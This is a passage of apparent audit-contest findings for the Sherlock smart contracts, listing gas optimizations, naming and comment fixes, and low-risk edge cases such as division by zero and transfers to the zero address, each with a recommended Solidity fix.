variables `sub` and `add` are confusing (makes the code difficult to read because of safemath's add and sub). It is suggested to rename them to `oldUsdPerBlock` and `newUsdPerBlock` respectively. ### Recommended Mitigation Steps ```jsx // If oldUsdPerBlock == newUsdPerBlock, nothing changes if (oldUsdPerBlock > newUsdPerBlock) { usdPerBlock = usdPerBlock.sub((oldUsdPerBlock - newUsdPerBlock).div(10**18)); } else if (oldUsdPerBlock < newUsdPerBlock) { usdPerBlock = usdPerBlock.add((newUsdPerBlock - oldUsdPerBlock).div(10**18)); } if (_newUsd > _oldUsd) { usdPool = usdPool.add((_newUsd - _oldUsd).mul(ps.sherXUnderlying).div(10**18)); } else if (_newUsd < _oldUsd) { usdPool = usdPool.sub((_oldUsd - _newUsd).mul(ps.sherXUnderlying).div(10**18)); } ``` "}, {"title": "LibSherX.sol: Optimise calcUnderlying()", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact - `tokens` can be directly be assigned to `gs.tokensSherX`. - Redundant zero Initialization of the array element `amounts[i] = 0;` in the else case of `calcUnderlying()` (L69-L71). ### Recommended Mitigation Steps ```jsx function calcUnderlying(uint256 _amount) external view returns (IERC20[] memory tokens, uint256[] memory amounts) { GovStorage.Base storage gs = GovStorage.gs(); tokens = gs.tokensSherX; amounts = new uint256[](gs.tokensSherX.length); uint256 total = getTotalSherX(); for (uint256 i; i < gs.tokensSherX.length; i++) { IERC20 token = tokens[i]; if (total > 0) { PoolStorage.Base storage ps = PoolStorage.ps(token); amounts[i] = ps.sherXUnderlying.add(LibPool.getTotalAccruedDebt(token)).mul(_amount).div( total ); } } } ``` Gas reporter reports a gas reduction of ~150 gas. Gas savings should scale with number of underlying collaterals. "}, {"title": "Gov.sol: Small refactoring of tokenInit() to save gas", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Gov.sol: Small refactoring of tokenInit() to save gas"}, {"title": "Gov.sol: Optimise protocolRemove()", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Gov.sol: Optimise protocolRemove()"}, {"title": "Gov.sol: Non-intuitive comment in tokenRemove()", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact In `tokenRemove()`, the comment `// NOTE: removed because firstMoneyOut will always be less or equal to stakeBalance` is not intuitive because it is not clear what is removed. Perhaps `// NOTE: check that firstMoneyOut == 0 not needed since firstMoneyOut <= stakeBalance` will be better. "}, {"title": "Gov.sol: Consider abstracting protocolUpdate() and protocolDepositAdd() to avoid duplicate checks", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "Gov.sol: Consider abstracting protocolUpdate() and protocolDepositAdd() to avoid duplicate checks"}, {"title": "Define Global Constants", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact For better code readability, it would be good to specify the constants `uint16(-1)`, `uint32(-1)` and `10**18` in a separate contract to be imported in relevant contracts. - `10e17` was used in payout() instead of the conventional `10**18` defined everywhere else - The docs specified that the cooldown fee and sherX weight are scaled by `10**18`, but they are scaled by `uint32(-1)` and `uint16(-1)` respectively (interfaces natspec is correct). ### Recommended Mitigation Steps Consider suggestive constants like `MAX_SHERX_WEIGHT` or `SHERX_DENOM`, `MAX_COOLDOWN_FEE` or `COOLDOWN_FEE_DENOM` and `PRECISION`. "}, {"title": "prevent burn in _transfer", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/29", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _transfer in SherXERC20.sol allow transfer to address 0. This is usually considered the same as burning the tokens and the Emit is indistinguishable from an Emit of a burn. However the burn function in LibSherXERC20.sol has extra functionality, which _transfer doesn't have. sx20.totalSupply = sx20.totalSupply.sub(_amount); So it is safer to prevent _transfer to address 0 (which is also done in the openzeppelin erc20 contract) See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L226 Note: minting from address 0 will not work because that is blocked by the safemath sub in: sx20.balances[_from] = sx20.balances[_from].sub(_amount); ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherXERC20.sol#L118 function _transfer(address _from, address _to, uint256 _amount) internal { SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); sx20.balances[_from] = sx20.balances[_from].sub(_amount); sx20.balances[_to] = sx20.balances[_to].add(_amount); emit Transfer(_from, _to, _amount); } // https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibSherXERC20.sol#L29 function burn(address _from, uint256 _amount) internal { SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20(); sx20.balances[_from] = sx20.balances[_from].sub(_amount); sx20.totalSupply = sx20.totalSupply.sub(_amount); emit Transfer(_from, address(0), _amount); } ## Tools Used ## Recommended Mitigation Steps add something like to following to _transfer of SherXERC20.sol: require(_to!= address(0), \"Transfer to the zero address\"); Or update sx20.totalSupply if burning a desired operation. "}, {"title": "result of getUnstakeEntrySize is incorrect", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/27", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-07-sherlock-findings", "body": "result of getUnstakeEntrySize is incorrect"}, {"title": "unbounded loop in getInitialUnstakeEntry ", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/26", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "unbounded loop in getInitialUnstakeEntry "}, {"title": "extra precautions in stakeBalance", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/25", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-07-sherlock-findings", "body": "extra precautions in stakeBalance"}, {"title": "series of divs", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/24", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function payout contains an expression with 3 sequential divs. This is generally not recommended because it could lead to rounding errors / loss of precision. Also a div is usually more expensive than a mul. Also an intermediate division by 0 (if SherXERC20Storage.sx20().totalSupply) == 0) could occur. ## Proof of Concept //https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Payout.sol#L108 function payout( .. uint256 deduction = excludeUsd.div(curTotalUsdPool.div(SherXERC20Storage.sx20().totalSupply)).div(10e17); ## Tools Used ## Recommended Mitigation Steps Verify the formula and replace with something like: uint256 deduction = excludeUsd.mul(SherXERC20Storage.sx20().totalSupply).div( curTotalUsdPool.mul(10e17) ) "}, {"title": "don't use add(add.sub(sub)", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/23", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _updateData contains variables with the names \"sub\" and \"add\". There are also functions with the names \"sub\" and \"add\". The resulting code is not very readable: usdPerBlock = usdPerBlock.sub(sub.sub(add).div(10**18)); usdPerBlock = usdPerBlock.add(add.sub(sub).div(10**18)); Generally it is not recommended to use the same name for variables and functions. ## Proof of Concept // https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Manager.sol#L386 function _updateData( .. uint256 sub = _oldPremium.mul(_oldUsd); .. uint256 add = _newPremium.mul(_newUsd); if (sub > add) { usdPerBlock = usdPerBlock.sub(sub.sub(add).div(10**18)); } else { usdPerBlock = usdPerBlock.add(add.sub(sub).div(10**18)); } ## Tools Used ## Recommended Mitigation Steps Rename the variables \"add\" and \"sub\" to different names. "}, {"title": "prevent div by 0", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/22", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact On several locations in the code precautions are taken not to divide by 0, because this will revert the code. However on some locations this isn't done. Especially in doYield a first check is done for totalAmount >0, however a few lines later there is an other div(totalAmount) which isn't checked. The proof of concept show another few examples. ## Proof of Concept // https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L309 function doYield(ILock token,address from,address to,uint256 amount) private { .. uint256 totalAmount = ps.lockToken.totalSupply(); .. if (totalAmount > 0) { ineglible_yield_amount = ps.sWeight.mul(amount).div(totalAmount); } else { ineglible_yield_amount = amount; } if (from != address(0)) { uint256 raw_amount = ps.sWeight.mul(userAmount).div(totalAmount); // totalAmount could be 0, see lines above // https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/PoolBase.sol#L295 function activateCooldown(uint256 _amount, IERC20 _token) external override returns (uint256) { ... uint256 tokenAmount = fee.mul(LibPool.stakeBalance(ps)).div(ps.lockToken.totalSupply()); // ps.lockToken.totalSupply() might be 0 //https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/PoolBase.sol#L351 function unstake( uint256 _id, address _receiver, IERC20 _token ) external override returns (uint256 amount) { ... amount = withdraw.lock.mul(LibPool.stakeBalance(ps)).div(ps.lockToken.totalSupply()); // // ps.lockToken.totalSupply() might be 0 //https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibPool.sol#L67 function stake( PoolStorage.Base storage ps,uint256 _amount, address _receiver ) external returns (uint256 lock) { ... lock = _amount.mul(totalLock).div(stakeBalance(ps)); // stakeBalance(ps) might be 0 ## Tools Used ## Recommended Mitigation Steps Make sure division by 0 won't occur by checking the variables beforehand and handling this edge case. "}, {"title": "x > 0 ==> x!=0", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact A small gas optimization is possible by replacing x > 0 with x != 0 provide x is an unsigned integer. As the entire code only uses unsigned integers it can be done on all these locations. The proof of concept shows the locations where the \"x > 0\" construction is used. ## Proof of Concept .\\facets\\Gov.sol: require(_tokens.length > 0, 'ZERO'); .\\facets\\Gov.sol: if (totalToken > 0) { .\\facets\\Gov.sol: if (totalFee > 0) { .\\facets\\Gov.sol: if (balance > 0) { .\\facets\\Manager.sol: if (ps.sherXUnderlying > 0) { .\\facets\\Manager.sol: if (usdPerBlock > 0 && _currentTotalSupply == 0) { .\\facets\\Manager.sol: } else if (usdPool > 0) { .\\facets\\Payout.sol: if (unallocatedSherX > 0) { .\\facets\\Payout.sol: if (firstMoneyOut > 0) { .\\facets\\Payout.sol: if (totalUnallocatedSherX > 0) { .\\facets\\PoolBase.sol: require(_amount > 0, 'AMOUNT'); .\\facets\\PoolBase.sol: require(_amount > 0, 'AMOUNT'); .\\facets\\PoolBase.sol: require(_amount > 0, 'AMOUNT'); .\\facets\\PoolBase.sol: if (fee > 0) { .\\facets\\PoolBase.sol: if (_forceDebt && accrued > 0) { .\\facets\\PoolBase.sol: if (ps.protocolBalance[_protocol] > 0) { .\\facets\\PoolBase.sol: if (ps.protocolPremium[_protocol] > 0) { .\\facets\\PoolOpen.sol: require(_amount > 0, 'AMOUNT'); .\\facets\\PoolStrategy.sol: require(_amount > 0, 'AMOUNT'); .\\facets\\PoolStrategy.sol: require(_amount > 0, 'AMOUNT'); .\\facets\\SherX.sol: if (stakeBalance > 0) { .\\facets\\SherX.sol: require(_amount > 0, 'AMOUNT'); .\\facets\\SherX.sol: if (totalAmount > 0) { .\\facets\\SherX.sol: if (withdrawable_amount > 0) { .\\libraries\\LibSherX.sol: if (total > 0) { .\\libraries\\LibSherX.sol: if (sherX > 0) { .\\libraries\\LibSherX.sol: if (sherX > 0) { .\\strategies\\AaveV2.sol: require(amount > 0, 'ZERO_AMOUNT'); ## Tools Used grep ## Recommended Mitigation Steps replace x > 0 with x != 0 "}, {"title": "delete ps.stakeBalance", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/20", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the function tokenUnload, ps.stakeBalance is only deleted if balance >0 e.g it is deleted if ps.stakeBalance > ps.firstMoneyOut So if ps.stakeBalance == ps.firstMoneyOut then ps.stakeBalance will not be deleted. And then a call to tokenRemove will revert, because it checks for ps.stakeBalance to be 0 ## Proof of Concept // https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Gov.sol#L271 function tokenUnload( IERC20 _token, IRemove _native, address _remaining ) external override onlyGovMain { ... uint256 balance = ps.stakeBalance.sub(ps.firstMoneyOut); if (balance > 0) { _token.safeTransfer(_remaining, balance); delete ps.stakeBalance; } .. delete ps.firstMoneyOut; function tokenRemove(IERC20 _token) external override onlyGovMain { ... require(ps.stakeBalance == 0, 'BALANCE_SET'); ## Tools Used ## Recommended Mitigation Steps Check what to do in this edge case and add the appropriate code. "}, {"title": "confusing comment in protocolUpdate", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/19", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The comment \"NOTE: UNUSED\" can be interpreted that both protocolManagers and protocolAgents are unused. See proof of concept below. However only protocolManagers is unused. ## Proof of Concept //https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Gov.sol#L148 function protocolUpdate( bytes32 _protocol, address _eoaProtocolAgent,address _eoaManager) public override onlyGovMain { ... // NOTE: UNUSED gs.protocolManagers[_protocol] = _eoaManager; gs.protocolAgents[_protocol] = _eoaProtocolAgent; } ## Tools Used ## Recommended Mitigation Steps Change the comment to: // NOTE: protocolManagers UNUSED "}, {"title": "extra check setUnstakeWindow and setCooldown", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/18", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function setUnstakeWindow and setCooldown don't check that the input parameter isn't 0. So the values could accidentally be set to 0 (although unlikely). However you wouldn't want the to be 0 because that would allow attacks with flashloans (stake and unstake in the same transaction) ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/Gov.sol#L124 function setUnstakeWindow(uint40 _unstakeWindow) external override onlyGovMain { require(_unstakeWindow < 25000000, 'MAX'); // ~ approximate 10 years of blocks GovStorage.gs().unstakeWindow = _unstakeWindow; } function setCooldown(uint40 _period) external override onlyGovMain { require(_period < 25000000, 'MAX'); // ~ approximate 10 years of blocks GovStorage.gs().unstakeCooldown = _period; } ## Tools Used ## Recommended Mitigation Steps Check the input parameter of setUnstakeWindow and setCooldown isn't 0 "}, {"title": "Two functions with the same implementation", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The functions getTotalUsdPool and viewAccrueUSDPool have the same implementation. It saves some gas on the deployment to integrate these functions. Also the maintenance will be a bit easier. ## Proof of Concept //https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/facets/SherX.sol#L42 function getTotalUsdPool() external view override returns (uint256) { SherXStorage.Base storage sx = SherXStorage.sx(); return sx.totalUsdPool.add(block.number.sub(sx.totalUsdLastSettled).mul(sx.totalUsdPerBlock)); } //https://github.com/code-423n4/2021-07-sherlock/blob/main/contracts/libraries/LibSherX.sol#L18 function viewAccrueUSDPool() public view returns (uint256 totalUsdPool) { SherXStorage.Base storage sx = SherXStorage.sx(); totalUsdPool = sx.totalUsdPool.add(block.number.sub(sx.totalUsdLastSettled).mul(sx.totalUsdPerBlock)); } ## Tools Used ## Recommended Mitigation Steps Integrate the functions getTotalUsdPool and viewAccrueUSDPool (e.g. keep one and remove the other and update the references) "}, {"title": "Different solidity pramas", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Several different solidity pragmas are uses for different solidity version. Its cleaner to use the same version everywhere ## Proof of Concept .\\ForeignLock.sol:pragma solidity ^0.7.4; .\\NativeLock.sol:pragma solidity ^0.7.4; .\\facets\\Gov.sol:pragma solidity ^0.7.4; .\\facets\\GovDev.sol:pragma solidity ^0.7.0; .\\facets\\Manager.sol:pragma solidity ^0.7.4; .\\facets\\Payout.sol:pragma solidity ^0.7.4; .\\facets\\PoolBase.sol:pragma solidity ^0.7.4; .\\facets\\PoolDevOnly.sol:pragma solidity ^0.7.4; .\\facets\\PoolOpen.sol:pragma solidity ^0.7.4; .\\facets\\PoolStrategy.sol:pragma solidity ^0.7.4; .\\facets\\SherX.sol:pragma solidity ^0.7.4; .\\facets\\SherXERC20.sol:pragma solidity ^0.7.1; .\\interfaces\\IGov.sol:pragma solidity ^0.7.4; .\\interfaces\\IGovDev.sol:pragma solidity ^0.7.4; .\\interfaces\\ILock.sol:pragma solidity ^0.7.4; .\\interfaces\\IManager.sol:pragma solidity ^0.7.4; .\\interfaces\\IPayout.sol:pragma solidity ^0.7.4; .\\interfaces\\IPoolBase.sol:pragma solidity ^0.7.4; .\\interfaces\\IPoolStake.sol:pragma solidity ^0.7.4; .\\interfaces\\IPoolStrategy.sol:pragma solidity ^0.7.4; .\\interfaces\\IRemove.sol:pragma solidity ^0.7.4; .\\interfaces\\ISherlock.sol:pragma solidity ^0.7.4; .\\interfaces\\ISherX.sol:pragma solidity ^0.7.4; .\\interfaces\\ISherXERC20.sol:pragma solidity ^0.7.1; .\\interfaces\\IStrategy.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\DataTypes.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\IAaveDistributionManager.sol:pragma solidity 0.7.6; .\\interfaces\\aaveV2\\IAaveGovernanceV2.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\IAaveIncentivesController.sol:pragma solidity 0.7.6; .\\interfaces\\aaveV2\\IAToken.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\IExecutorWithTimelock.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\IGovernanceV2Helper.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\ILendingPool.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\ILendingPoolAddressesProvider.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\IProposalValidator.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\IStakeAave.sol:pragma solidity ^0.7.4; .\\interfaces\\aaveV2\\MockAave.sol:pragma solidity ^0.7.4; .\\libraries\\LibPool.sol:pragma solidity ^0.7.4; .\\libraries\\LibSherX.sol:pragma solidity ^0.7.4; .\\libraries\\LibSherXERC20.sol:pragma solidity ^0.7.4; .\\storage\\GovStorage.sol:pragma solidity ^0.7.0; .\\storage\\PayoutStorage.sol:pragma solidity ^0.7.0; .\\storage\\PoolStorage.sol:pragma solidity ^0.7.0; .\\storage\\SherXERC20Storage.sol:pragma solidity ^0.7.1; .\\storage\\SherXStorage.sol:pragma solidity ^0.7.0; .\\strategies\\AaveV2.sol:pragma solidity ^0.7.4; .\\util\\ERC20Mock.sol:pragma solidity ^0.7.4; .\\util\\Import.sol:pragma solidity ^0.7.4; .\\util\\RemoveMock.sol:pragma solidity ^0.7.4; .\\util\\StrategyMock.sol:pragma solidity ^0.7.4; ## Tools Used grep ## Recommended Mitigation Steps Use the same solidity version everywhere "}, {"title": "Incorrect internal balance bookkeeping", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-07-sherlock-findings", "body": "Incorrect internal balance bookkeeping"}, {"title": "Declare NativeLock underlying variable as immutable", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/9", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle patitonar # Vulnerability details ## Impact Reduce gas cost when reading the underlying variable from NativeLock given that it is only set once in the constructor ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/d9c610d2c3e98a412164160a787566818debeae4/contracts/NativeLock.sol#L14 ## Tools Used Manual review ## Recommended Mitigation Steps IERC20 public override immutable underlying; "}, {"title": "Aav2V2 is Ownable but not owner capabilites are used", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle patitonar # Vulnerability details ## Impact Reduce bytecode size of AaveV2 by removing Ownable given that there is no functionality for owners ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/d9c610d2c3e98a412164160a787566818debeae4/contracts/strategies/AaveV2.sol#L21 ## Tools Used Manual Review ## Recommended Mitigation Steps Update AaveV2 to only extend from IStrategy and remove Ownable import "}, {"title": "Avoid storing lp in AaveV2 constructor", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/7", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle patitonar # Vulnerability details ## Impact Reduce gas costs on constructor by not storing the result of a method invocation in a variable ## Proof of Concept https://github.com/code-423n4/2021-07-sherlock/blob/d9c610d2c3e98a412164160a787566818debeae4/contracts/strategies/AaveV2.sol#L51-L52 ## Tools Used Manual Review ## Recommended Mitigation Steps Use the result directly. Example: want.approve(address(getLp()), uint256(-1)); "}, {"title": "reputation risks with updateSolution", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-07-sherlock-findings", "body": "reputation risks with updateSolution"}, {"title": "Make variables immutable or constant", "html_url": "https://github.com/code-423n4/2021-07-sherlock-findings/issues/1", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-07-sherlock-findings", "body": "# Handle bw # Vulnerability details ## Impact The `AaveV2.sol` contract made use of a number of `public` variables that were set only in the constructor and would remain constant. These variables were consuming storage slots, which unnecessarily increased the deployment and runtime gas costs of the contract. ## Proof of Concept ### Code Diff ``` diff --git a/contracts/strategies/AaveV2.sol b/contracts/strategies/AaveV2.sol index 1b6ed56..9592986 100644 --- a/contracts/strategies/AaveV2.sol +++ b/contracts/strategies/AaveV2.sol @@ -21,15 +21,15 @@ import '../interfaces/IStrategy.sol'; contract AaveV2 is IStrategy, Ownable { using SafeMath for uint256; - ILendingPoolAddressesProvider public lpAddressProvider = + ILendingPoolAddressesProvider public constant lpAddressProvider = ILendingPoolAddressesProvider(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); - IAaveIncentivesController public aaveIncentivesController; + IAaveIncentivesController public immutable aaveIncentivesController; - ERC20 public override want; - IAToken public aWant; + ERC20 public immutable override want; + IAToken public immutable aWant; - address public sherlock; - address public aaveLmReceiver; + address public immutable sherlock; + address public immutable aaveLmReceiver; modifier onlySherlock() { require(msg.sender == sherlock, 'sherlock'); @@ -49,7 +49,7 @@ contract AaveV2 is IStrategy, Ownable { aaveLmReceiver = _aaveLmReceiver; ILendingPool lp = getLp(); - want.approve(address(lp), uint256(-1)); + ERC20(_aWant.UNDERLYING_ASSET_ADDRESS()).approve(address(lp), uint256(-1)); } ``` ### Gas Reporter Diff ``` diff --git a/base.rst b/immutable.rst index 36b3138..79703fc 100644 --- a/base.rst +++ b/immutable.rst @@ -1,199 +1,199 @@ \u00b7----------------------------------------------------|---------------------------|-------------|-----------------------------\u00b7 | Solc version: 0.7.6 \u00b7 Optimizer enabled: true \u00b7 Runs: 200 \u00b7 Block limit: 12450000 gas \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| Methods \u00b7 100 gwei/gas \u00b7 2058.77 usd/eth \u2502 +| Methods \u00b7 100 gwei/gas \u00b7 2061.52 usd/eth \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 | Contract \u00b7 Method \u00b7 Min \u00b7 Max \u00b7 Avg \u00b7 # calls \u00b7 usd (avg) \u2502 \u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7|\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7\u00b7 -| AaveV2 \u00b7 claimRewards \u00b7 397877 \u00b7 437371 \u00b7 417624 \u00b7 2 \u00b7 85.98 \u2502 +| AaveV2 \u00b7 claimRewards \u00b7 391566 \u00b7 431060 \u00b7 411313 \u00b7 2 \u00b7 84.79 \u2502 